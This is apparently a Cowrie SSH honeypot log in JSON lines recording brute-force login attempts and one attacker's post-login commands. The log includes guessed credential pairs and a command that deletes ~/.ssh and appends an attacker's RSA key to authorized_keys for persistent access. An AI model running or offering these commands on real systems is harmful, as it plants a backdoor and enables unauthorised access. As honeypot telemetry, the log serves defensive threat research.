{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:54.871655Z","src_ip":"159.203.92.129","session":"8de189a8a0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2021","message":"login attempt [alias/alias@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:54.889020Z","src_ip":"159.203.92.129","session":"8de189a8a0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:31:55.897173Z","src_ip":"159.203.92.129","session":"8de189a8a0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41792,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccebf7f3c0ff","protocol":"ssh","message":"New connection: 159.203.92.129:41792 (159.203.135.109:22) [session: ccebf7f3c0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:39.465468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:39.469742Z","src_ip":"159.203.92.129","session":"ccebf7f3c0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:39.473902Z","src_ip":"159.203.92.129","session":"ccebf7f3c0ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2022","message":"login attempt [alias/alias@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:39.483115Z","src_ip":"159.203.92.129","session":"ccebf7f3c0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:40.490098Z","src_ip":"159.203.92.129","session":"ccebf7f3c0ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":34068,"dst_ip":"159.203.135.109","dst_port":22,"session":"11cb1743df7e","protocol":"ssh","message":"New connection: 124.13.124.212:34068 (159.203.135.109:22) [session: 11cb1743df7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:48.417754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:48.423269Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:48.665997Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle#2021","message":"login attempt [oracle/oracle#2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:49.683666Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:50.217509Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:50.220973Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:50.224991Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:50.470680Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:50.982403Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:50.985218Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:51.228993Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:51.232774Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":35192,"dst_ip":"159.203.135.109","dst_port":22,"session":"82b9ec0f3aa3","protocol":"ssh","message":"New connection: 124.13.124.212:35192 (159.203.135.109:22) [session: 82b9ec0f3aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:51.460784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:51.465836Z","src_ip":"124.13.124.212","session":"82b9ec0f3aa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:51.704583Z","src_ip":"124.13.124.212","session":"82b9ec0f3aa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:52.696359Z","src_ip":"124.13.124.212","session":"82b9ec0f3aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:53.947102Z","src_ip":"124.13.124.212","session":"82b9ec0f3aa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":36092,"dst_ip":"159.203.135.109","dst_port":22,"session":"8318c3d08b45","protocol":"ssh","message":"New connection: 124.13.124.212:36092 (159.203.135.109:22) [session: 8318c3d08b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:54.188035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:54.193212Z","src_ip":"124.13.124.212","session":"8318c3d08b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:54.438613Z","src_ip":"124.13.124.212","session":"8318c3d08b45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:55.445112Z","src_ip":"124.13.124.212","session":"8318c3d08b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:55.691651Z","src_ip":"124.13.124.212","session":"8318c3d08b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:32:55.696879Z","src_ip":"124.13.124.212","session":"11cb1743df7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45654,"dst_ip":"159.203.135.109","dst_port":22,"session":"86e00933f28f","protocol":"ssh","message":"New connection: 159.203.92.129:45654 (159.203.135.109:22) [session: 86e00933f28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:24.320124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:24.324724Z","src_ip":"159.203.92.129","session":"86e00933f28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:24.328884Z","src_ip":"159.203.92.129","session":"86e00933f28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2023","message":"login attempt [alias/alias@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:24.339158Z","src_ip":"159.203.92.129","session":"86e00933f28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:25.347098Z","src_ip":"159.203.92.129","session":"86e00933f28f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":51590,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cf57c75646c","protocol":"ssh","message":"New connection: 124.13.124.212:51590 (159.203.135.109:22) [session: 4cf57c75646c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:45.012603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:33:45.018165Z","src_ip":"124.13.124.212","session":"4cf57c75646c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-